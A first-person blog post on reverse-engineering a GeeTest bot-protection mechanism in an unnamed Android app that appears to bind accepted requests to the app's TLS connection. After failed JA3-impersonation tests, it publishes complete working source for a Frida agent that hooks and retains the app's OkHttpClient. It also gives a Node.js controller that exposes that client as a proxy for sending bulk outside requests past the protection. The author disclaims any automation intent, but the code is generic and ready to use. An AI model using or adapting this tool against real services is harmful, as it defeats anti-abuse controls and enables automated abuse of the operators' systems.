What is channel binding in a TLS context?
Channel binding ties authentication at one protocol layer to a specific secure channel at another. RFC 9266 defines tls-exporter, a channel-binding type for modern TLS. That said, nothing in this post proves that GeeTest uses this exact RFC-defined mechanism.
What I found looked like state tied to TLS, or at least to the connection used by the app. Once the application established an accepted connection, requests sent outside it were rejected, even when they came from the same client setup or were identical to requests that had already passed at the HTTP level (same headers, body, etc.).
For the RFC definition, see RFC 9266.
This post documents how I analyzed and worked around the mechanism I found in a GeeTest implementation on an Android app. I was trying to understand how it enforced this connection-bound state. I'm keeping the application anonymous because the point is to document the mechanism and the reasoning behind my approach, not to give anyone an automation recipe against somebody else's systems.
The problem, where it starts
During my research, I encountered an implementation of GeeTest in a well-known application from the Play Store. At first, I wanted to analyze the implementation at the application level, mostly its cryptography and obfuscation. What I found ended up being far more interesting. Once I got access to the requests through MITM and Frida, simply copying the request data and trying to resend it always gave me a 403 response, no matter what I did.
From previous experience, my first guesses were:
- TLS fingerprinting. The requests were sent by OkHttp, while my HTTP client, Bruno, was probably sending a commonly flagged fingerprint.
- Some warm-up request that had to be sent before the rest of the sequence.
I considered custom headers too. After clearing the application's cache, changing environments, and repeating the same procedure, I saw no changes in the request headers. I also used Frida to strip some headers and cookies, but the requests still passed. Whatever the server wanted, it wasn't in those particular headers or cookies.
None of these guesses was absurd, but they were wrong at different levels. It took a few failed tests before I understood what I was actually dealing with and built a custom solution for the case.
Investigation
I started with the TLS fingerprint hypothesis. That meant moving away from Bruno and trying to impersonate the JA3 fingerprint with bogdanfinn's tls-client, a Go library capable of doing that.
Go example: TLS fingerprint test
package main
import (
"fmt"
"io"
"log"
http "github.com/bogdanfinn/fhttp"
tls_client "github.com/bogdanfinn/tls-client"
"github.com/bogdanfinn/tls-client/profiles"
)
func main() {
options := []tls_client.HttpClientOption{
tls_client.WithTimeoutSeconds(30),
tls_client.WithClientProfile(profiles.Okhttp4Android13),
}
client, err := tls_client.NewHttpClient(tls_client.NewNoopLogger(), options...)
if err != nil {
log.Fatal(err)
}
req, err := http.NewRequest(http.MethodGet, "https://tls.peet.ws/api/all", nil)
if err != nil {
log.Fatal(err)
}
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
fmt.Printf("status: %d\n%s\n", resp.StatusCode, string(body))
}This code only illustrates the test because I won't be disclosing the real one in the post. As you can see, I used OkHttp4Android13, the closest match to my emulator's environment. This didn't eliminate TLS fingerprinting from the list. It only told me that the closest predefined profile wasn't enough.
Even so, I was still suspicious of the OkHttp fingerprint. Maybe tls-client was generating a slightly different JA3 hash. The next step was to proxy both requests, compare them, and collect the exact JA3 string and hash from the application's original request.
For that, I used Node.js to quickly set up a TCP proxy that passed the TLS connection through without terminating it. The proxy redirected the incoming connection to https://tls.peet.ws/api/all, an endpoint that returns almost all the JA3 information from the client that performed the TLS handshake.
That let me use Frida to reroute the OkHttp requests from the application's original client, extract its JA3 string, and configure it in the tls-client library.
The JA3 was actually different. That difference could still be the cause, but it didn't prove anything by itself. OkHttp exists in many versions, and a defensive system could combine its JA3 with other signals instead of blocking every different version. Even so, I extracted the original JA3 and retested with it.
The retest failed too. Matching the JA3 wasn't enough, although that still didn't rule out the rest of the TLS fingerprint. At this point I had replicated everything visible at the HTTP level, matched the observed JA3, and still got denied. If I couldn't replicate the accepted client from the outside, and I already knew the app's original connection worked, the next move was clear: reuse it.
It's time to borrow it

The concept here is simple: if we can't fight it, let's use it in our favor. These were my working assumptions:
- Requests that are identical across almost everything visible are rejected.
- Requests coming from the app itself are accepted (well, not quite, but we'll get there).
With that in mind, the goal was to send new requests through the app's own OkHttp client. That would give me the same TLS stack, client configuration, and connection pool used by the original requests because I would be borrowing and instrumenting the actual instance created by the application.
One detail matters here: this does not force OkHttp to reuse one specific trusted connection. If an eligible connection already exists, OkHttp can reuse it instead of creating a new one.
The plan was to create a local proxy that received requests from my own tool, passed the data to Frida, sent each request through the captured OkHttp client, and returned the response. The controller would expose Frida's RPC through an HTTP-facing proxy, so it would not be limited to one borrowed request. Once the client was captured, I could send dozens, hundreds, or thousands of requests through the same accepted path, and channel binding would no longer reject them as external replays.
I needed two pieces:
The controller
controller.mjs: full code
import frida from "frida";
import { readFileSync } from "node:fs";
import { createServer } from "node:http";
const PACKAGE = requiredEnv("PACKAGE");
const TARGET_HOST = requiredEnv("TARGET_HOST").trim().toLowerCase();
const AGENT_PATH = process.env.AGENT_PATH || "./borrower.bundle.js";
const LISTEN_HOST = process.env.LISTEN_HOST || "127.0.0.1";
const PORT = Number.parseInt(process.env.PORT || "5000", 10);
const REQUEST_TIMEOUT = Number.parseInt(
process.env.REQUEST_TIMEOUT || "30000",
10,
);
const MAX_BODY_BYTES = 1024 * 1024;
let script = null;
async function setup() {
const device = await frida.getUsbDevice();
try {
await device.kill(PACKAGE);
} catch {}
const pid = await device.spawn([PACKAGE]);
const session = await device.attach(pid);
const loadedScript = await session.createScript(
readFileSync(AGENT_PATH, "utf8"),
);
loadedScript.message.connect((message) => {
if (message.type === "error") {
console.error(message.stack || message.description);
}
});
session.detached.connect((reason) => {
if (script === loadedScript) script = null;
console.error(`Frida session detached: ${reason}`);
});
await loadedScript.load();
await loadedScript.exports.configure(TARGET_HOST);
script = loadedScript;
await device.resume(pid);
}
async function handle(req, res) {
if (req.method === "GET" && req.url === "/status") {
if (!script) throw new HttpError(503, "Frida script is not ready");
sendJson(res, 200, await script.exports.status());
return;
}
if (req.method !== "POST" || req.url !== "/borrow") {
throw new HttpError(404, "Not found");
}
if (!script) throw new HttpError(503, "Frida script is not ready");
const input = await readJson(req);
const request = normalizeRequest(input);
try {
const result = await withTimeout(
script.exports.borrow(request),
REQUEST_TIMEOUT,
);
sendJson(res, 200, result);
} catch (error) {
throw new HttpError(502, error.message || String(error));
}
}
await setup();
createServer((req, res) => {
handle(req, res).catch((error) => {
const status = error.statusCode || 500;
sendJson(res, status, { error: error.message || String(error) });
});
}).listen(PORT, LISTEN_HOST, () => {
console.log(`Controller listening on http://${LISTEN_HOST}:${PORT}`);
});
function normalizeRequest(input) {
if (!input || typeof input !== "object") {
throw new HttpError(400, "Expected a JSON object");
}
let parsedUrl;
try {
parsedUrl = new URL(input.url);
} catch {
throw new HttpError(400, "Invalid URL");
}
if (parsedUrl.protocol !== "https:" || parsedUrl.hostname !== TARGET_HOST) {
throw new HttpError(400, "URL must use HTTPS and match TARGET_HOST");
}
const method = String(input.method || "POST").toUpperCase();
const headers = {};
for (const [name, value] of Object.entries(input.headers || {})) {
if (value !== null && value !== undefined) headers[name] = String(value);
}
let body = null;
if (Object.hasOwn(input, "body") && input.body !== null) {
body = String(input.body);
} else if (Object.hasOwn(input, "payload")) {
body = JSON.stringify(input.payload ?? null);
const hasContentType = Object.keys(headers).some(
(name) => name.toLowerCase() === "content-type",
);
if (!hasContentType) {
headers["Content-Type"] = "application/json; charset=utf-8";
}
}
return { url: parsedUrl.toString(), method, headers, body };
}
function readJson(req) {
return new Promise((resolve, reject) => {
const chunks = [];
let size = 0;
let settled = false;
req.on("data", (chunk) => {
if (settled) return;
size += chunk.length;
if (size > MAX_BODY_BYTES) {
settled = true;
reject(new HttpError(413, "Request body is too large"));
req.resume();
return;
}
chunks.push(chunk);
});
req.on("end", () => {
if (settled) return;
try {
resolve(JSON.parse(Buffer.concat(chunks).toString("utf8")));
} catch {
reject(new HttpError(400, "Invalid JSON"));
}
});
req.on("error", reject);
});
}
async function withTimeout(promise, timeoutMs) {
let timer;
try {
return await Promise.race([
promise,
new Promise((_, reject) => {
timer = setTimeout(
() => reject(new Error("Borrowed request timed out")),
timeoutMs,
);
}),
]);
} finally {
clearTimeout(timer);
}
}
function sendJson(res, status, value) {
if (res.headersSent || res.destroyed) return;
res.writeHead(status, { "Content-Type": "application/json; charset=utf-8" });
res.end(JSON.stringify(value));
}
function requiredEnv(name) {
const value = process.env[name];
if (!value) throw new Error(`Missing required environment variable: ${name}`);
return value;
}
class HttpError extends Error {
constructor(statusCode, message) {
super(message);
this.statusCode = statusCode;
}
}The borrower
For the borrower, I used Frida again and wrote an injected agent. With Frida 17 or later, the Java bridge has to be imported and bundled before the controller loads it:
npm install frida frida-compile frida-java-bridge
npx frida-compile borrower.js -o borrower.bundle.js -S -cborrower.js: full code
import Java from "frida-java-bridge";
let targetHost = null;
let capturedClient = null;
let hookInstalled = false;
let hookError = null;
let RequestBuilder;
let RequestBody;
let MediaType;
let originalNewCall;
let createStringBody;
let parseMediaType;
Java.perform(() => {
try {
const OkHttpClient = Java.use("okhttp3.OkHttpClient");
RequestBuilder = Java.use("okhttp3.Request$Builder");
RequestBody = Java.use("okhttp3.RequestBody");
MediaType = Java.use("okhttp3.MediaType");
originalNewCall = OkHttpClient.newCall.overload("okhttp3.Request");
configureCompatibilityHelpers();
originalNewCall.implementation = function (request) {
const host = String(request.url().host()).toLowerCase();
if (targetHost !== null && host === targetHost) {
if (capturedClient !== null) capturedClient.$dispose();
capturedClient = Java.retain(this);
console.log(`[+] Captured OkHttpClient for ${targetHost}`);
}
return originalNewCall.call(this, request);
};
hookInstalled = true;
console.log("[+] OkHttpClient.newCall hook installed");
} catch (error) {
hookError = errorToString(error);
console.error(`[-] Failed to install OkHttp hook: ${hookError}`);
}
});
rpc.exports = {
configure(host) {
const normalized = String(host || "").trim().toLowerCase();
if (normalized.length === 0 || normalized.includes("/")) {
throw new Error("configure() expects a hostname, not a URL");
}
targetHost = normalized;
return { targetHost };
},
status() {
return {
targetHost,
hookInstalled,
clientCaptured: capturedClient !== null,
error: hookError,
};
},
borrow(request) {
return performInJava(() => executeBorrowedRequest(request));
},
};
function executeBorrowedRequest(spec) {
if (!hookInstalled) {
throw new Error(hookError || "The OkHttp hook is not installed yet");
}
if (capturedClient === null) {
throw new Error("No matching OkHttpClient has been captured yet");
}
if (!spec || typeof spec !== "object") {
throw new Error("borrow() expects a request object");
}
const method = String(spec.method || "POST").toUpperCase();
const headers = spec.headers || {};
const builder = RequestBuilder.$new().url(String(spec.url));
let contentType = "application/octet-stream";
for (const [name, value] of Object.entries(headers)) {
if (name.toLowerCase() === "content-type") {
contentType = String(value);
}
builder.header(String(name), String(value));
}
let bodyText = spec.body === null || spec.body === undefined
? null
: String(spec.body);
if (bodyText === null && ["POST", "PUT", "PATCH"].includes(method)) {
bodyText = "";
}
const requestBody = bodyText === null
? null
: createStringBody(parseMediaType(contentType), bodyText);
const request = builder.method(method, requestBody).build();
const requestUrl = request.url();
if (
String(requestUrl.scheme()) !== "https" ||
String(requestUrl.host()).toLowerCase() !== targetHost
) {
throw new Error("The request URL must use HTTPS and match the configured host");
}
const call = originalNewCall.call(capturedClient, request);
const response = call.execute();
try {
const responseBody = response.body();
return {
status: response.code(),
message: String(response.message()),
protocol: String(response.protocol()),
headers: String(response.headers()),
body: responseBody === null ? null : String(responseBody.string()),
};
} finally {
response.close();
}
}
function configureCompatibilityHelpers() {
try {
const create = RequestBody.create.overload(
"okhttp3.MediaType",
"java.lang.String",
);
createStringBody = (mediaType, text) =>
create.call(RequestBody, mediaType, text);
} catch {
const create = RequestBody.create.overload(
"java.lang.String",
"okhttp3.MediaType",
);
createStringBody = (mediaType, text) =>
create.call(RequestBody, text, mediaType);
}
try {
const parse = MediaType.parse.overload("java.lang.String");
parseMediaType = (value) => parse.call(MediaType, value);
} catch {
const get = MediaType.get.overload("java.lang.String");
parseMediaType = (value) => get.call(MediaType, value);
}
}
function performInJava(operation) {
return new Promise((resolve, reject) => {
Java.perform(() => {
try {
resolve(operation());
} catch (error) {
reject(error instanceof Error ? error : new Error(errorToString(error)));
}
});
});
}
function errorToString(error) {
return error && error.stack ? error.stack : String(error);
}Once the request went through the app's own client over the connection it had already established, the responses started coming back accepted. The same payload that received a 403 when sent from the outside passed when it traveled through the context the server already trusted. That was the confirmation I needed: the visible request was only part of the story.
Turning the finding into a technique
The legitimate request was not a limitation of the borrower. It was the bootstrap. By hooking newCall, I could capture the actual OkHttpClient instance used by the app and retain it inside Frida. From that point on, the controller could hand new requests to the injected borrower, and the borrower could execute them through the same client that already had access to the accepted networking context.
That changed the role of Frida in the research. I was no longer using it only to inspect arguments, remove headers, or reroute traffic. It became a bridge between my external tooling and the app's live networking stack. Instead of making another HTTP client imitate the app, I made the app's own client act as the request executor.
The published code removes the package name, host, endpoints, and the parts tied to the target, but the technique is the same one I built for the case: capture the client, retain it, expose it through RPC, and return the response to an external controller. The controller turns that RPC method into a reusable proxy. An external tool can keep feeding it requests in bulk while the borrower executes them through the app's accepted client context.
Closing the investigation
I started at the HTTP layer. I copied the request and got a 403. I removed headers and cookies, but requests from the app still passed. I replaced my regular HTTP client with an OkHttp-like TLS profile, found that its JA3 was different, extracted the original JA3, matched it, and still got a 403. Each failed test pushed the investigation further away from the visible request and closer to the context carrying it.
The borrower came directly from that sequence. I stopped trying to guess one more hidden value or reproduce one more detail of the client from the outside. I captured the client that already worked and built a way to send my own requests through it. The same payload that failed externally was accepted once it crossed the app's OkHttp client.
I still cannot name the exact server-side primitive, which is why I do not claim that this is specifically the tls-exporter mechanism defined in RFC 9266. I did not need that answer to pass the behavior. From the client side, the boundary was repeatable: outside the accepted context, 403; through the borrowed client, accepted.
By then, I could explain the 403. The external replay was leaving the accepted networking context behind, and matching the visible request or its JA3 did not restore it. I could have kept reversing the server-side binding, but there was no reason to take the longer path. Reusing the client was enough.
The final technique was not a one-shot bypass. The controller exposed the Frida borrower as a proxy, and the captured OkHttpClient became the transport for externally controlled requests. That let me send requests in bulk, from dozens to hundreds or thousands, without channel binding stopping them as outside replays. Instead of reproducing the bound session, I kept every request inside the path that already owned it.